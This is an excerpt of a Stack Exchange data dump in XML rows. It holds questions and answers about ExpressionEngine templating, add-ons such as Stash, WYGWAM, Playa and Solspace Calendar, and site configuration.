  <row Id="14709" PostTypeId="1" CreationDate="2013-10-18T14:19:24.180" Score="3" ViewCount="156" Body="&lt;p&gt;Using Channel Images to upload images. They are uploaded at full size and no resizing is set. When I save the image off the browser and open it Photoshop, they are back to original sharpness. Also, I have an image zoom installed and when you hover the image in the magnified area is sharp. Is this EE or a browser issue? It seems like it IS being resized somewhere along the way...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After / Before&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vOkE5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2189" LastActivityDate="2013-10-30T12:34:42.180" Title="blurry images after upload" Tags="|image|channel-images|resize|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14710" PostTypeId="1" CreationDate="2013-10-18T14:40:03.540" Score="1" ViewCount="166" Body="&lt;p&gt;I'm revisiting a very old EE site, I had an embed that was used heavily in the site. The embed has some embed variables that could be used in simple conditionals to turn on and off various weblog parameters:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;  channel=&quot;{embed:my_channel_id}&quot; &#xA;  orderby=&quot;{embed:my_orderby}&quot; &#xA;  {if embed:my_member_id}author_id=&quot;{embed:my_member_id}&quot;{/if} &#xA;  {if embed:my_paginate}paginate=&quot;{embed:my_paginate}&quot; {/if} &#xA;  ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to convert this to a stash embed, but I'm stuck on how to include the stash vars in simple conditionals.  I want to do something like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;st_images&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot; parse_conditionals=&quot;yes&quot;}&#xA;  {exp:channel:entries &#xA;    channel=&quot;{stash:_channel}&quot;  &#xA;    orderby=&quot;{stash:_orderby}&quot; &#xA;    {if {stash:_author_id} != &quot;&quot;}author_id=&quot;{stash:_author_id}&quot;{/if}&#xA;    {if {stash:_paginate} != &quot;&quot;}paginate=&quot;bottom&quot;{/if}&#xA;    {if {stash:_paginate} != &quot;&quot;}disable=&quot;member_data|categories|pagination&quot;{/if}&#xA;    {if {stash:_paginate} == &quot;&quot;}disable=&quot;member_data|categories&quot;{/if}&#xA;    ...&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas how I can use stash to turn on or off parameters in this way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="807" LastActivityDate="2013-10-18T14:40:03.540" Title="Using stash embed var as a conditional in channel:entries parameters" Tags="|stash|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14711" PostTypeId="2" ParentId="14708" CreationDate="2013-10-18T16:04:47.470" Score="3" Body="&lt;p&gt;You can change any of the inputs to be textareas oppose to text inputs by doing something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{modifiers}&#xA;    &amp;lt;p&amp;gt;&#xA;      &amp;lt;label&amp;gt;{modifier_name}&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;      {if modifier_instructions}&amp;lt;small&amp;gt;{modifier_instructions}&amp;lt;/small&amp;gt;&amp;lt;br /&amp;gt;{/if}&#xA;      {if modifier_type == 'var' OR modifier_type == 'var_single_sku'}&#xA;        &amp;lt;select name=&quot;{modifier_input_name}&quot;&amp;gt;&#xA;          {modifier_options}&#xA;            &amp;lt;option value=&quot;{option_id}&quot;&amp;gt;&#xA;              {option_name}&#xA;              {if price_mod_val} ({price_mod}) {/if}&#xA;            &amp;lt;/option&amp;gt;&#xA;          {/modifier_options}&#xA;        &amp;lt;/select&amp;gt;&#xA;      {if:else}&#xA;        &amp;lt;textarea name=&quot;{modifier_input_name}&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;      {/if}&#xA;    &amp;lt;/p&amp;gt;&#xA;  {/modifiers}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-10-18T16:04:47.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14712" PostTypeId="1" CreationDate="2013-10-18T17:09:51.447" Score="1" ViewCount="98" Body="&lt;p&gt;hoping someone can help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site I am working on is for a performing arts dance and music studio where users can register online for classes by semester or quarter (two avail at a time). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm having some trouble wrapping my head around how I could make inventory work for their dance and drama classes. Classes are offered and available to sign up for by Semester or Quarter. What I need is for the inventory to adjust automatically according to what the user signed up for. So if they sign up for the whole semester, I need to make sure the inventory under quarter 1 and 2 both get deducted. That way if someone signs up for just one of the quarters, the class won't get over filled when a full semester is registered for. Likewise, the inventory will need to get deducted from the full semester sign-up option if one of the quarters is registered for (so that specific quarter, and the whole semester needs to get reduced by 1). But the other quarter available will still have a spot. Does that make sense?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I can't get this to work right, I'm afraid it might be too big of a pain for my client to manage all these classes and will be more work than necessary - also could be tough to manually track the inventory for all their classes. Any insight or ideas into this greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FWIW, I'm not a php programer by any means, but can work with basic existing scripts. I also have an intermediate knowledge and understanding of jquery and javascript if that might need to get used as a solution, however I can't and don't write my own scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&#xA;Valerie&lt;/p&gt;&#xA;" OwnerUserId="1827" LastActivityDate="2013-10-23T19:19:28.983" Title="Carthrob and Inventory Management" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14713" PostTypeId="1" CreationDate="2013-10-18T17:50:35.840" Score="2" ViewCount="77" Body="&lt;p&gt;When using Solspace SuperSearch I've noticed that the search will stop searching at a dash (-) in the title or any other field. For example, if I was searching for &quot;Bar&quot; the entry &quot;Foo Bar&quot; would be returned, but &quot;Foo - Bar&quot; would not. Is there a way to fix this without having to rewrite all the titles?&lt;/p&gt;&#xA;" OwnerUserId="2215" LastActivityDate="2013-11-14T13:04:02.713" Title="Solspace Supersearch Breaking with Dash in Title" Tags="|solspace|supersearch|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14714" PostTypeId="1" CreationDate="2013-10-18T18:05:38.563" Score="1" ViewCount="53" Body="&lt;p&gt;Here's my template file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;_includes/header&quot; &#xA;    entry_title=&quot;{exp:channel:entries status=&quot;Open|Closed&quot; channel=&quot;settings&quot; disable=&quot;categories|category_fields|member_data|trackbacks&quot;}{title}{/exp:channel:entries}&quot; &#xA;    entry_id=&quot;{exp:channel:entries status=&quot;Open|Closed&quot; disable=&quot;categories|category_fields|member_data|trackbacks&quot;}{entry_id}{/exp:channel:entries}&quot;}&#xA;&#xA;{exp:channel:entries channel=&quot;events&quot;}&#xA;&amp;lt;section id=&quot;page&quot; class=&quot;{segment_2} {segment_3} standard {if page_has_long_menu}long-menu{/if}&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;bg-left&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;bg&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;wrapper&quot;&amp;gt;&#xA;        &amp;lt;header&amp;gt;&#xA;            &amp;lt;nav id=&quot;sub-menu&quot;&amp;gt;&#xA;                &amp;lt;!--{embed=&quot;navigations/{segment_2}&quot;}--&amp;gt;&#xA;                {exp:structure:nav start_from=&quot;/en/{segment_2}/&quot; max_depth=&quot;1&quot; current_class=&quot;active&quot;}&#xA;            &amp;lt;/nav&amp;gt;&#xA;&#xA;            &amp;lt;img src=&quot;{events_page_header}&quot; alt=&quot;{events_page_title}&quot; width=&quot;1020&quot; height=&quot;240&quot; /&amp;gt;&#xA;            &amp;lt;h2&amp;gt;{events_page_title}&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;/header&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;content events-content&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;wrapper&quot;&amp;gt;&#xA;            {if title}&amp;lt;h2&amp;gt;{calendar_title}&amp;lt;/h2&amp;gt;{/if}&#xA;&#xA;            {calendar_description}&#xA;&#xA;            &amp;lt;div class=&quot;calendar&quot;&amp;gt;&#xA;                &amp;lt;div id=&quot;events-cal&quot;&amp;gt;&#xA;                    {exp:calendar:mini&#xA;                        calendar_name=&quot;events&quot;&#xA;                        enable=&quot;pagination&quot;&#xA;                        date_range_start=&quot;2013-10-01&quot;}&#xA;                    {/exp:calendar:mini}&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;ul id=&quot;events-summaries&quot;&amp;gt;&#xA;                {exp:calendar:events}&#xA;                    &amp;lt;li&amp;gt;&#xA;                        {if event_all_day}&#xA;                            {event_start_date format=&quot;%F %j, %Y&quot;}&#xA;                        {if:else}&#xA;                            {event_start_date format=&quot;%F %j, %Y&quot;} - {event_end_date format=&quot;%F %j, %Y&quot;}&#xA;                        {/if}&#xA;                        &amp;lt;br /&amp;gt;&#xA;                        &amp;lt;a href=&quot;{path='calender/event'}/{event_id}/&quot;&amp;gt;&#xA;                            {event_title} || &#xA;                        &amp;lt;/a&amp;gt;&#xA;                        {event_id} || &#xA;                        {event_author} || &#xA;                        {event_summary}&#xA;                        &amp;lt;p&amp;gt;{location}&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/li&amp;gt;&#xA;&#xA;                    {if no_results}&#xA;                    &amp;lt;li&amp;gt;No Results&amp;lt;/li&amp;gt;&#xA;                    {/if}&#xA;                {/exp:calendar:events}&#xA;                &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/section&amp;gt;&#xA;{/exp:channel:entries}&#xA;&#xA;{embed=&quot;_includes/footer&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;About 3/4 of the way down you can see me attempting to call {event_title} and {event_summary}, &lt;a href=&quot;http://www.solspace.com/docs/calendar/events/#examples&quot; rel=&quot;nofollow noreferrer&quot;&gt;as per the documentation here.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the output....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://puu.sh/4Teja.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;output http://puu.sh/4Teja.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't output summary, &lt;strong&gt;but it IS outputting title, ID, etc...&lt;/strong&gt;. Why can I call every property of the event BUT the summary?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Investigating further, I went into PHPMyAdmin, into the &lt;code&gt;exp_calendar_events&lt;/code&gt; table -- and found out that there is no field for event summary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this? Is my installation bugged or am I missing something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I created &lt;code&gt;Test Event Numba One&lt;/code&gt; by going &lt;code&gt;Content -&amp;gt; Publish -&amp;gt; Calender: Events&lt;/code&gt; in the CMS)&lt;/p&gt;&#xA;" OwnerUserId="2216" LastEditorUserId="2216" LastEditDate="2013-10-18T18:11:09.193" LastActivityDate="2013-10-19T18:53:37.533" Title="Why can't I call {event_summary}, but I can call every other event property? (Solspace Calendar)" Tags="|solspace|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14715" PostTypeId="1" AcceptedAnswerId="14716" CreationDate="2013-10-18T18:09:00.620" Score="3" ViewCount="650" Body="&lt;p&gt;I've built in a shortcode-like method using mx_jumper that works well, for the most part. I have Matrix field called &lt;code&gt;blog_images&lt;/code&gt; where the user can upload up to 10 images for a post. Then they include the images in the post's WYGWAM field wherever they want by placing a shortcode referencing the image's ID in the Matrix field, like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{image_2}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the template for a blog post I cycle through all images in that Matrix field like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{blog_images}&#xA;    {exp:mx_jumper:put name=&quot;image_{row_count}&quot;}&#xA;        &amp;lt;figure class=&quot;{placement} {size} {css_classes}&quot;&amp;gt;&#xA;            {image_standard}&#xA;                &amp;lt;img src=&quot;{url}&quot; alt=&quot;{alt_text}&quot; width=&quot;{width}&quot; height=&quot;{height}&quot;&amp;gt;&#xA;                {exp:stash:set name=&quot;image_width&quot; parse_tags=&quot;yes&quot;}{width}{/exp:stash:set}&#xA;            {/image_standard}&#xA;            {if caption}&#xA;                &amp;lt;figcaption style=&quot;width: {exp:stash:get name='image_width'}px;&quot;{if &quot;{caption-placement}&quot; == &quot;sidebar&quot;} class=&quot;sidebar&quot;{/if}&amp;gt;&#xA;                    {caption}&#xA;                &amp;lt;/figcaption&amp;gt;&#xA;            {/if}&#xA;        &amp;lt;/figure&amp;gt;&#xA;    {/exp:mx_jumper:put}&#xA;{/blog_images}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I do the replacing in the content like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:mx_jumper:out_global}&#xA;    {blog_post_content}&#xA;{/exp:mx_jumper:out_global}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works really well with one exception:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For formatting purposes I need to have the shortcode on it's own line in WYGWAM. Problem is WYGWAM wants to wrap it in a &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tag, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&#xA;&amp;lt;figure&amp;gt;…&amp;lt;/figure&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;… which is improper markup. The browsers try to be helpful and &quot;correct&quot; it by making it this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;figure&amp;gt;…&amp;lt;/figure&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;… leaving space before and after the &lt;code&gt;&amp;lt;figure&amp;gt;&lt;/code&gt; tags. Yuck!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I tell WYGWAM &lt;em&gt;not&lt;/em&gt; to wrap text that starts and ends with &lt;code&gt;{}&lt;/code&gt; in a paragraph tag? If not, other suggestions??&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2013-10-18T20:57:57.870" Title="Tell WYGWAM not to wrap certain text in a &lt;p&gt; tag" Tags="|pixelandtonic|wygwam|mx-jumper|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14716" PostTypeId="2" ParentId="14715" CreationDate="2013-10-18T19:09:09.673" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Can I tell WYGWAM not to wrap text that starts and ends with {} in a paragraph tag? If not, other suggestions??&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For WYGWAM, I don't think you can do that specifically, but you might be able to modify how it responds to paragraph tags by adjusting the Advanced Settings for your configuration. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dvSPn.png&quot; alt=&quot;WYGWAM Advanced Settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, you could try &lt;a href=&quot;http://devot-ee.com/add-ons/streeng&quot; rel=&quot;nofollow noreferrer&quot;&gt;Streeng&lt;/a&gt; to kill the empty &lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&lt;/code&gt; pair via find and replace:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:streeng find=&quot;&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&quot; replace=&quot;&quot;}&#xA; {blog_images}&#xA;   ...&#xA; {/blog_images}&#xA;{/exp:streeng}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:streeng find=&quot;&amp;lt;p&amp;gt;&amp;lt;figure&amp;gt;&quot; replace=&quot;&amp;lt;figure&amp;gt;&quot; trim=&quot;both&quot;}&#xA; {blog_images}&#xA;   ...&#xA; {/blog_images}&#xA;{/exp:streeng}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OR you can try get really hack-a-licious:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:streeng trim=&quot;both&quot;}&#xA;{exp:replace_plus}&#xA;  {replace_area find=&quot;&amp;lt;p&amp;gt;&amp;lt;figure&amp;gt;&quot; replace=&quot;&amp;lt;figure&amp;gt;&quot;}&#xA;  {replace_area find=&quot;&amp;lt;/figure&amp;gt;&amp;lt;/p&amp;gt;&quot; replace=&quot;&amp;lt;/figure&amp;gt;&quot;}&#xA;    {blog_images}&#xA;      ...&#xA;    {/blog_images}&#xA;  {/replace_area}&#xA;  {/replace_area}&#xA; {/exp:replace_plus}&#xA; {/exp:streeng}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-10-18T20:57:57.870" LastActivityDate="2013-10-18T20:57:57.870" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14717" PostTypeId="1" CreationDate="2013-10-18T19:11:09.870" Score="0" ViewCount="131" Body="&lt;p&gt;I'm using Freeform Pro 4.0.12.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does exp:freeform:entries allow for nested if statements, like below?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if freeform:field:yes_no_002 == &quot;Y&quot;}&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td colspan=&quot;2&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td colspan=&quot;2&quot;&amp;gt;Person 2:&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;&#xA;    {if freeform:field:r_type_of_presentation == &quot;Roundtable&quot;}&#xA;        &amp;lt;tr&amp;gt;&#xA;             &amp;lt;td&amp;gt;Are you a moderator or Discussionist?&amp;lt;/td&amp;gt;&#xA;             &amp;lt;td&amp;gt;{freeform:field:r_round_table_leaders_002}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    {/if}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I haven't been able to get this to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Peter T&lt;/p&gt;&#xA;" OwnerUserId="1469" LastEditorUserId="55" LastEditDate="2013-10-19T02:23:20.463" LastActivityDate="2013-10-21T14:53:35.450" Title="Freeform Pro: nested if statement" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14718" PostTypeId="2" ParentId="6501" CreationDate="2013-10-18T19:28:49.733" Score="1" Body="&lt;p&gt;Since you are editing site_2 from the domain of site_1/default_site, you'll need to better define your sites' url and paths with config settings.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$env_config['default_site_path']        = '/path/to/default_site/root';&#xA;$env_config['default_site_url']         = 'http://www.default_site.com';&#xA;&#xA;$env_config['site_2_path']          = '/path/to/site_2/root';&#xA;$env_config['site_2_url']           = 'http://www.site_2.com';&#xA;&#xA;$env_config['upload_preferences'] = array(&#xA;        1 =&amp;gt; array(&#xA;            'name'        =&amp;gt; 'Images for Default Site',&#xA;            'server_path' =&amp;gt; $env_config['default_site_path'] . '/assets/images/',&#xA;            'url'         =&amp;gt; $env_config['default_url']  . '/assets/images/'&#xA;        ),&#xA;        2 =&amp;gt; array(&#xA;            'name'        =&amp;gt; 'Images for Site 2',&#xA;            'server_path' =&amp;gt; $env_config['site_2_path'] . '/assets/images/',&#xA;            'url'         =&amp;gt; $env_config['site_2_url']  . '/assets/images/'&#xA;        ),&#xA;        3 =&amp;gt; array(&#xA;            'name'        =&amp;gt; 'Mug Shots for Site 2',&#xA;            'server_path' =&amp;gt; $env_config['site_2_path'] . '/assets/images/mugshots/',&#xA;            'url'         =&amp;gt; $env_config['site_2_url']  . '/assets/images/mugshots/'&#xA;        )&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Two notes:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;File upload directories for all MSM sites have a unique id to use in the SAME array.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you are using multiple environments where the path and url configs will change, then add this to your config.local.php, config.prod.php, config.dev.php, etc, with the appropriate settings for that environment.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-18T19:28:49.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14719" PostTypeId="2" ParentId="14706" CreationDate="2013-10-18T19:52:29.513" Score="4" Body="&lt;p&gt;If you choose to create an account during checkout with Store, the customer's account is created when the order is &quot;completed&quot;. That is, the account is created when the customer returns from PayPal (or any other off-site payment gateway).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way, if the &lt;code&gt;register_member&lt;/code&gt; field is enabled/checked during checkout, the &lt;code&gt;order_email&lt;/code&gt; field is validated to ensure it does not clash with any existing member accounts. This validation happens automatically, and only happens if &lt;code&gt;register_member&lt;/code&gt; is enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to answer your question: The situation where the customer already has an account will be handled before they are redirected to PayPal, but the account won't actually be created until payment is complete.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-10-18T19:52:29.513" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14720" PostTypeId="2" ParentId="14671" CreationDate="2013-10-18T20:40:54.893" Score="2" Body="&lt;p&gt;the action on the form points to &#xA;&lt;a href=&quot;http://syntetik.be/artilium-ee&quot; rel=&quot;nofollow&quot;&gt;http://syntetik.be/artilium-ee&lt;/a&gt; instead of&#xA;&lt;a href=&quot;http://syntetik.be/artilium-ee/&quot; rel=&quot;nofollow&quot;&gt;http://syntetik.be/artilium-ee/&lt;/a&gt; like the url&lt;/p&gt;&#xA;" OwnerUserId="834" LastActivityDate="2013-10-18T20:40:54.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14721" PostTypeId="1" CreationDate="2013-10-18T21:31:24.127" Score="0" ViewCount="4219" Body="&lt;p&gt;I’m working on a new site, using a fresh install of 2.7.2. Everything’s been going swimmingly (sort of), until now I went to edit some custom fields. When I click on a field name to do an edit, I get the following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A Database Error Occurred Error Number: 1146 Table&#xA;  'my_database_name.exp_grid_columns' doesn't exist&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;SELECT * FROM (&lt;code&gt;exp_grid_columns&lt;/code&gt;) WHERE &lt;code&gt;field_id&lt;/code&gt; IN (11) AND&#xA;  &lt;code&gt;content_type&lt;/code&gt; = 'channel' ORDER BY &lt;code&gt;col_order&lt;/code&gt; Filename:&#xA;  models/grid_model.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 631&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Using phpmyadmin, I see that there is in fact no “exp_grid_columns” table in the database. So what does that mean? Should I just create a table with that name? Not actually sure what’s involved with that….&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw a bunch of 1146 error codes relating to the Comment module in the EE Forums, but this doesn’t seem to have anything to do with that (I even tried installing the Comment module).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m not really a MySQL person, so I’m not sure where to go from here. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="2218" LastActivityDate="2013-10-25T21:26:22.790" Title="Database Error Occurred Error Number: 1146" Tags="|error|database|grid|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14722" PostTypeId="2" ParentId="14692" CreationDate="2013-10-18T23:49:26.137" Score="3" Body="&lt;p&gt;It looks like the hooks were running, but it was more a case of the logged messages not appearing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Store uses the Post-Redirect-Get pattern, which means that the cart is updated (and hooks run) during an HTTP POST request. When the cart has finished updating (unless there were any errors), it redirects the customer's browser back to the checkout page using a GET request (this prevents them from accidentally resubmitting the form when hitting refresh etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore in your case the messages logged in the template library were lost when the customer's browser was redirected, hence why they weren't displayed.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-10-18T23:49:26.137" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14723" PostTypeId="1" CreationDate="2013-10-19T01:07:16.557" Score="2" ViewCount="410" Body="&lt;p&gt;I guess I'm missing something obvious since I haven't found any question on this subject… I'm trying to paginate results from &lt;code&gt;exp:playa:parents&lt;/code&gt; tags to no avail… That's what I got:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:parents parent_id=&quot;{low_events:entry_ids}&quot; disable=&quot;categories|category_fields&quot; limit=&quot;5&quot; paginate=&quot;bottom&quot;}&#xA;  HTML…&#xA;  {paginate}&#xA;    {pagination_links}&#xA;    &amp;lt;ul&amp;gt;&#xA;      {page}&#xA;      &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;{if current_page}active{/if}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;      {/page}&#xA;    &amp;lt;/ul&amp;gt;&#xA;    {/pagination_links}&#xA;  {/paginate}&#xA;{/exp:playa:parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From the Playa docs, it sounds like I'm supposed to override &lt;code&gt;disable=&quot;pagination&quot;&lt;/code&gt; which i set to &lt;code&gt;true&lt;/code&gt; by default. That's what I'm going for with &lt;code&gt;disable=&quot;categories|category_fields&quot;&lt;/code&gt; and that's the only thing I can think of that might be the problem… (I don't actually know if that's how you're supposed to override the default).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1260" LastActivityDate="2014-01-14T10:03:49.460" Title="Playa + Pagination = nothing… Why?" Tags="|playa|pagination|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14724" PostTypeId="2" ParentId="14714" CreationDate="2013-10-19T02:08:56.360" Score="2" Body="&lt;p&gt;Any event data outside of the &lt;a href=&quot;http://www.solspace.com/docs/calendar/events/#variables&quot; rel=&quot;nofollow&quot;&gt;variables listed here&lt;/a&gt; is up to you to create via standard custom Channel fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So &lt;code&gt;{event_summary}&lt;/code&gt; will only parse if you've created your own custom field called &lt;code&gt;event_summary&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, side note - what you're doing at the top of your template is a little loopy - two Channel Entries calls just to get the title and entry id! At the very least you should disable &lt;code&gt;custom_fields&lt;/code&gt; on those (as you're not using them) - but without knowing why they're there in the first place it's hard for me to advise a better way.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-10-19T18:53:37.533" LastActivityDate="2013-10-19T18:53:37.533" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14725" PostTypeId="1" AcceptedAnswerId="14729" CreationDate="2013-10-19T04:29:34.803" Score="0" ViewCount="27" Body="&lt;p&gt;I don't know how one would track such things, but does something exist/can something be built that tracks an estimation of the market share for each version of EE?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I ask, is that if such a resource existed it would be massively beneficial to add-on developers in making informed decisions when to stop supporting older EE builds.&lt;/p&gt;&#xA;" OwnerUserId="156" LastActivityDate="2013-10-19T10:08:26.840" Title="Version market share" Tags="|add-on|add-on-development|meta|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
